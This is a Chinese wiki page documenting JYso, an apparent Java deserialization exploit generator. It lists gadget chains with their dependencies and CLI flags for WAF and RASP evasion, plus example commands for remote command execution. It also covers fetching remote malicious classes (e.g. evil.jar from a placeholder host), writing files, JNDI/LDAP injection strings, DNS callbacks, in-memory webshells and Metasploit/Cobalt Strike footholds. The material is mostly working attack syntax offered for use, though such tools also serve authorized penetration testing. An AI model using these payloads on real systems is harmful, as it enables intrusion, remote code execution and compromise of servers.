6、Gadget
炁 edited this page 2026-03-27 11:48:50 +08:00
This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

使用参数和链子

 ┏┳┓┏
  ┃┗┫┏┏┓
 ┗┛┗┛┛┗┛
[root]#~  Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]
[root]#~  Available payload types:
       Payload                        Authors                                Dependencies                                                                                                                                                       
       -------                        -------                                ------------                                                                                                                                                       
       AspectJWeaver                  @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                     
       AspectJWeaver2                 @QI4L                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                     
       BeanShell1                     @pwntester, @cschneider4711            bsh:2.0b5                                                                                                                                                          
       BeanShell2                     @killer                                bsh:2.0b1                                                                                                                                                          
       C3P0                           @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                          
       C3P02                          @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35                                                                                                           
       C3P03                          @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9                                                                                             
       C3P04                          @QI4L                                  c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30                                                                                           
       C3P092                         @mbechler                              c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11                                                                                                  
       C3P0JDBC                       @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X                                                                                                                              
       C3P0JNDI                       @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X                                                                                                                              
       C3P0JNDI2                      @Unam4                                 c3p0:0.9.5.2, com.alibaba.fastjson1.X                                                                                                                              
       C3P0RefDataSource                                                                                                                                                                                                                        
       C3P0WrapperConnPool                                                                                                                                                                                                                      
       Click1                         @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0                                                                                                                        
       Clojure                        @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                      
       Fastjson1                                                                                                                                                                                                                                
       Fastjson2                                                                                                                                                                                                                                
       FileUpload1                                                                                                                                                                                                                              
       Groovy1                        @frohoff                               groovy:2.3.9                                                                                                                                                       
       Hibernate1                     @mbechler                              hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1                                                    
       Hibernate2                     @mbechler                              hibernate-core:4.3.11.Final, aopalliance:1.0, jboss-logging:3.3.0.Final, javax.transaction-api:1.2, dom4j:1.6.1                                                    
       Hibernate3JDBC                 @Unam4                                 hibernate-core <= 4.1.12.Fina, com.alibaba.fastjson 1.X                                                                                                            
       JBossInterceptors1             @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21           
       JRE8u20                        @frohoff                                                                                                                                                                                                  
       JRE8u20_2                                                                                                                                                                                                                                
       JRMPClient                     @mbechler                                                                                                                                                                                                 
       JRMPClient_Activator           @mbechler                                                                                                                                                                                                 
       JRMPClient_Obj                 @mbechler                                                                                                                                                                                                 
       JRMPListener                   @mbechler                                                                                                                                                                                                 
       JSON1                          @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
       Jackson1                                                                                                                                                                                                                                 
       Jackson2                                                                                                                                                                                                                                 
       Jackson3                       @jsjcw                                 6.2.10                                                                                                                                                             
       Jackson4                       @QI4L                                  6.2.10                                                                                                                                                             
       JacksonLdapAttr                                                                                                                                                                                                                          
       JavassistWeld1                 @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                       
       JdbcRowSet                                                                                                                                                                                                                               
       Jdk7u21                        @frohoff                                                                                                                                                                                                  
       Jdk7u21variant                 @potats0                                                                                                                                                                                                  
       Jython1                        @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                            
       MozillaRhino1                  @matthias_kaiser                       js:1.7R2                                                                                                                                                           
       MozillaRhino2                  @_tint0                                js:1.7R2                                                                                                                                                           
       Myfaces1                       @mbechler                                                                                                                                                                                                 
       Myfaces2                                                                                                                                                                                                                                 
       ROME                           @mbechler                              rome:1.0                                                                                                                                                           
       ROME2                                                                 rome:1.0                                                                                                                                                           
       ROME3                          @Firebasky                             rome:1.0                                                                                                                                                           
       ROMEJDBC                                                                                                                                                                                                                                 
       RenderedImage                                                         jai-codec-1.1.3                                                                                                                                                    
       Resin                                                                                                                                                                                                                                    
       SignedObject                                                                                                                                                                                                                             
       Spring1                        @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                              
       Spring2                        @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                          
       Spring3                                                               spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2                                                                                   
       URLDNS                         @gebl                                                                                                                                                                                                     
       UnixPrintService                                                                                                                                                                                                                         
       UnixPrintServiceLookup                                                                                                                                                                                                                   
       Vaadin1                        @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                         
       Wicket1                        @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4                                                                                                                                
       cb160                                                                 commons-beanutils:1.6.0                                                                                                                                            
       cb183                                                                 commons-beanutils:1.8.3, commons-beanutils:1.7X                                                                                                                    
       cb192                          @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                              
       cb_AttrCompare183              @SummerSec                             commons-beanutils:1.8.3, commons-beanutils:1.7X                                                                                                                    
       cb_AttrCompare192              @水滴                                    commons-beanutils:1.9.2                                                                                                                                          
       cb_JDBC                        @QI4L                                  commons-beanutils:1.9.2                                                                                                                                            
       cb_JNDI                        @QI4L                                  commons-beanutils:1.9.2, commons-collections:3.1                                                                                                                   
       cb_ObjectToStringComparator183 @SummerSec                             commons-beanutils:1.8.3, commons-lang3:3.10, commons-beanutils:1.7X                                                                                                
       cb_PropertySource183           @SummerSec                             commons-beanutils:1.8.3, commons-beanutils:1.7X                                                                                                                    
       cb_PropertySource192           @SummerSec                             commons-beanutils:1.9.2                                                                                                                                            
       cc1                            @frohoff                               commons-collections:3.1                                                                                                                                            
       cc10                                                                  commons-collections:3.2.1                                                                                                                                          
       cc11                                                                                                                                                                                                                                     
       cc12                           @Jayl1n                                commons-collections:3.2.1                                                                                                                                          
       cc13                           @Unam4                                 commons-collections:3.1                                                                                                                                            
       cc2                            @frohoff                               commons-collections4:4.0                                                                                                                                           
       cc3                            @frohoff                               commons-collections:3.1                                                                                                                                            
       cc4                            @frohoff                               commons-collections4:4.0                                                                                                                                           
       cc4_17                         @jiecub3                                                                                                                                                                                                  
       cc5                            @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                            
       cc6                            @matthias_kaiser                       commons-collections:3.1                                                                                                                                            
       cc7                            @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                            
       cc8                            @navalorenzo                           commons-collections4:4.0                                                                                                                                           
       cc9                            @梅子酒                                   commons-collections:3.2.1                                                                                                                                       
       cck1                                                                  commons-collections:3.1                                                                                                                                            
       cck2                                                                  commons-collections:4.0                                                                                                                                            
       cck3                           @matthias_kaiser                       commons-collections:3.1                                                                                                                                            
       cck4                           @matthias_kaiser                       commons-collections:4.0                                                                                                                                            
       springFs                                                                                                                                                                                                                                 


usage: JYso-[version].jar [-b64] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f <arg>] [-g <arg>] [-i] [-mcl] [-ncs] [-o] [-p
       <arg>] [-rh] [-utf] [-y]
 -b64,--base64                               base64 encoding
 -dcfp,--define-class-from-parameter <arg>   Customize parameter name when using DefineClassFromParameter
 -dl,--dirty-length <arg>                    Length of dirty data when using type 1 or 3/Counts of Nesting loops when
                                             using type 2
 -dt,--dirty-type <arg>                      Using dirty data to bypass WAFtype: 1:Random Hashable
                                             Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data
 -f,--file <arg>                             Write Output into FileOutputStream (Specified FileName)
 -g,--gadget <arg>                           Java deserialization gadget
 -i,--inherit                                Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should
                                             inherit)
 -mcl,--mozilla-class-loader                 Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil
 -ncs,--no-com-sun                           Force Using org.apache.XXX.TemplatesImpl instead of
                                             com.sun.org.apache.XXX.TemplatesImpl
 -o,--obscure                                Using reflection to bypass RASP
 -p,--parameters <arg>                       Gadget parameters
 -rh,--rhino                                 ScriptEngineManager Using Rhino Engine to eval JS
 -utf,--utf8-Overlong-Encoding               UTF-8 Overlong Encoding Bypass waf
 -y,--ysoserial                              Java deserialization


Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser
If you want your payload being extremely shortyou could just use:
java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser

使用说明

本项目为其拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:

  • TS Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞,使用命令:TS-10

  • RC Remote Call - 通过 URLClassLoader.loadClass() 来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass

  • WF Write File - 通过 FileOutputStream.write() 来写入文件,需要对文件路径进行Base64编码,使用命令:WF-L3RtcC9zaGVsbA==#d2hvYW1p

  • PB ProcessBuilder 通过 ProcessBuilder.start() 来执行系统命令,使用命令 PB-lin-d2hvYW1p / PB-win-d2hvYW1p分别在不同操作系统执行命令

  • SE ScriptEngine - 通过 ScriptEngineManager.getEngineByName('js').eval() 来解析 JS 代码调用 Runtime 执行命令,使用命令 SE-d2hvYW1

  • DL DNS LOG - 通过 InetAddress.getAllByName() 来触发 DNS 解析,使用命令 DL-xxxdnslog.cn

  • HL HTTP LOG - 通过 URL.getContent() 来触发 HTTP LOG,使用命令 HL-http://xxx.com

  • BC BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() 来加载 BCEL 类字节码,使用命令 BC-$BCEL$xxx,也可以使用 BC-EX-TomcatEchoBC-LF-/tmp/aaa.class 来执行高级功能

  • JD JNDI Lookup - 通过 InitialContext.lookup() 来触发 JNDI 注入,使用命令 JD-ldap://xxx/xx

  • 其他:普通命令执行 - 通过 Runtime.getRuntime().exec() 执行系统命令,使用命令 whoami

这里需要注意的是,使用 PB 执行系统命令、WF 写入文件的内容、SE 执行命令时,为了防止传参错误,需要 对传入的命令使用 base64 编码

除了上面的利用,项目也通过 ScriptEngineManager 执行 JS 的方式支持了 EX- 的写法,也就是说针对 ChainedTransformer 利用方式也可以打入内存马或回显。

使用示例

JNDI中同理

需要对Base64后的内容进行base64编码

ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/DL-xxx.org])

命令执行示例:

java -jar JYso-[version].jar -y -g cc1 -p PB-lin-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==

DNSLOG示例

java -jar JYso-[version].jar -y -g cc1 -p 'DL-xxx.org'

脚本引擎解析 JS 代码示例

java -jar JYso-[version].jar -y -g cc1 -p 'SE-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='

文件写入示例

java -jar JYso-[version].jar -y -g cc1 -p 'WF-L3RtcC8xLmpzcA==#PCVAcGFnZSBwYWdlR.....'

触发 JNDI 查询注入示例

java -jar JYso-[version].jar -y -g cc1 -p 'JD-ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA=='

普通命令执行示例

java -jar JYso-[version].jar -y -g cc1 -p 'open -a Calculator.app'

更多使用可以看链子对应代码处的具体注释。

任意自定义代码

如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ClassLoader 并使用了字节码缩短技术,减少Payload体积

示例:

java -jar JYso-[version].jar -y -g cc3 -p LF-/tmp/evil.class -f cc3.ser

对于 TemplatesImpl 使用该功能不会直接打印在回显上,需要-f来保存在使用

URLDNS 探测目标类

为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本:

  • 反序列时遇到黑名单,可能导致后面的类的 dnslog 出不来;
  • 反序列化流程中由于种种情况报错可能导致出不来。

因此这里还是提供了 all/common/指定类 三种探测方式:

  • all:探测全部的类;
  • os: 探测系统
  • cc: 探测cc链
  • cb: 探测cb链
  • db: 探测数据库Driver
  • jndiAttack: 探测JNDI可利用的类
  • datasource: 探测数据源工厂类, 适用于JNDI中BeanFactory无法使用的场景
  • jdk: 探测jdk版本以及jdk自带的链
  • web: 探测中间件
  • other: 探测其他
  • 指定类:使用对应链中的关键字 cc4:xxxx.dns.log 。

示例:all:xxx.dns.log

Base64编码all:dnslog地址,即可

java -jar JYso-[version].jar -y -g URLDNS -p 'all:xxx.dns.log'
ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:xxxxxx.dns.log])

其他利用链的拓展

对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。

本项目为这两条利用链拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下:

  • TS Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞,使用命令:TS-10
  • RC Remote Call - 通过 URLClassLoader.loadClass() 来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass
  • WF Write File - 通过 FileOutputStream.write() 来写入文件,使用命令:WF-L3RtcC9zaGVsbA==#MTIz
  • 其他:普通命令执行 - 通过 ProcessBuilder().start() 执行系统命令,使用命令 whoami

与之前的扩展类似,这里也不放截图了。

对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:EX-

SignedObject 二次反序列化 Gadget

用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)

利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;

大概包含如下几种可用的常见调用链:

  1. InvokerTransformer 调用任意方法(依赖 CC)
  2. BeanComparator 调用 getter 方法(依赖 CB
  3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
  4. ToStringBean 调用全部 getter 方法(依赖 Rome
  5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core
  6. MemberBox 反射调用任意方法(依赖 rhino)
  • cc,cc4,cb,hibernate,rome,rhino,spring

  • 利用方式:

  • SignedObjectPayload -> 'CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后2个类型是脏数据类型和长度,为0则不混淆

  • JNDI-Injection-Exploit 用法:
ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/CC:cc6:[base64_encoded_cmd]:1::10000)
  • ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "CC:cc6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000" 

普通命令执行

  • JNDI-Injection-Exploit 用法:
${jndi:ldap://127.0.0.1:1389/[Basic or ELProcessor]/command/base64/[base64cmd]}
  • ysoserial
java -jar JYso-[version].jar -y -g [Gadget] -p "calc" 

MSF/CS 上线

使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。